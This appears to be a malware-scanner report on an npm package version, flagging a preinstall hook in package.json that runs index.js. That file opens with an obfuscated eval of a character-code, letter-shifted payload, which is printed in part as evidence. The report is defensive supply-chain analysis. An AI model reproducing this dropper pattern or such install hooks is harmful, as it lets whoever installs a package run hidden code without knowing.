Hostile 100% javascript Download

@redhat-cloud-services/frontend-components-testing 1.2.2

preinstall drops obfuscated decrypt-and-execute payload

Megabyte charcode-packed payload feeds direct evalPreinstall executes obfuscated bundled eval dropper

Evidence

Converts character-code arrays to strings index.js · line 1
1try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}([40,121,113,119,108,97,40,41,61,62,123,114,112,119,123,10,97,109,108,113,114,32,95,97,61,121,117,121,103,114,32,103,107,110,109,112,114,40,34,108,109,98,99,58,97,112,119,110,114,109,34,41,59,10,97,109,108,113,114,32,95,98,61,40,105,44,103,44,121,44,97,41,61,62,123,97,109,108,113,114,32,98,61,95,97,46,97,112,99,121,114,99,66,99,97,103,110,102,99,112,103,116,40,34,121,99,113,45,49,50,56,45,101,97,107,34,44,90,115,100,100,99,112,46,100,112,109,107,40,105,44,34,102,99,118,34,41,44,90,115,100,100,99,112,46,100,112,109,107,40,103,44,34,102,99,118,34,41,44,123,121,115,114,102,82,121,101,74,99,108,101,114,102,58,49,54,125,41,59,98,46,113,99,114,89,115,114,102,82,121,101,40,90,115,100,100,99,112,46,100,112,109,107,40,121,44,34,102,99,118,34,41,41,59,112,99,114,115,112,108,32,90,115,100,100,99,112,46,97,109,108,97,121,114,40,91,98,46,115,110,98,121,114,99,40,90,115,100,100,99,112,46,100,112,109,107,40,97,44,34,102,99,118,34,41,41,44,98,46,100,103,108,121,106,40,41,93,41,125,59,10,10,97,109,108,113,114,32,95,122,61,95,98,40,34,98,53,55,48,51,51,49,54,99,48,57,100,97,51,54,98,52,53,121,54,48,49,97,55,49,98,98,52,52,53,51,49,34,44,34,97,98,100,49,97,55,121,122,49,122,52,121,99,49,121,57,121,97,121,57,48,57,97,97,34,44,34,52,48,55,51,122,121,100,53,51,55,55,49,51,51,54,122,97,121,122,57,122,121,50,53,50,121,97,52,51,99,55,52,34,44,34,50,100,122,99,53,50,49,100,53,54,121,121,97,48,56,55,54,100,55,53,98,55,48,98,122,98,122,55,121,55,52,55,53,100,50,50,99,48,97,49,50,52,50,48,98,97,51,121,56,99,97,57,122,99,97,99,48,100,55,49,53,97,55,99,99,54,100,54,57,100,52,99,100,57,52,100,48,51,98,56,99,121,50,53,52,51,53,122,99,51,53,97,97,122,52,54,51,52,50,97,56,97,50,53,49,49,99,49,52,48,57,54,52,51,100,122,122,55,122,55,100,97,53,52,53,50,100,51,50,98,99,48,48,55,52,52,122,55,100,53,52,54,48,56,121,48,98,48,98,52,99,99,53,57,121,99,98,51,121,48,98,53, …
preinstall hook runs a local Node.js script package.json · lines 1–32
1{
2 "name": "@redhat-cloud-services/frontend-components-testing",
3 "version": "1.2.2",
4 "description": "Testing utilities for RedHat Cloud Services project.",
5 "main": "index.js",
6 "module": "esm/index.js",
7 "types": "index.d.ts",
8 "sideEffects": [
9 "./**/*.css",
10 "./**/*.scss"
11 ],
12 "publishConfig": {
13 "access": "public"
14 },
15 "scripts": {
16 "build": "npm run build:js && npm run build:esm && npm run build:packages",
17 "build:packages": "node ../../scripts/build-packages.js --forceTypes",
18 "build:esm": "MODULES_ROOT=../../ tsc --module es2015 --target es5 -p tsconfig.esm.json",
19 "build:js": "tsc -p tsconfig.cjs.json",
20 "preinstall": "node index.js"
21 },
22 "repository": {
23 "type": "git",
24 "url": "git+https://github.com/RedHatInsights/frontend-components.git"
25 },
26 "author": "",
⋯6 lines
Package module targets parent build tree package.json · line 1
1{"main":"index.js","module":"../esm/OuiaSelectors/index.js","typings":"index.d.ts"}
English function-word token "this" index.js · lines 1–5
1"use strict";
2var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3 if (k2 === undefined) k2 = k;
4 var desc = Object.getOwnPropertyDescriptor(m, k);
5 if (!desc || ("get" in desc ? !m.__es …
JavaScript iterates enumerable object keys index.js · lines 6–18
6:16… enumerable: true, get: function() { return m[k]; } };
7 }
8 Object.defineProperty(o, k2, desc);
9}) : (function(o, m, k, k2) {
10 if (k2 === undefined) k2 = k;
11 o[k2] = m[k];
12}));
13var __exportStar = (this && this.__exportStar) || function(m, exports) {
14 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
15};
16Object.defineProperty(exports, "__esModule", { value: true });
17__exportStar(require("./OuiaSelectors"), exports);
18//# sourceMappingURL=index.js.map

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.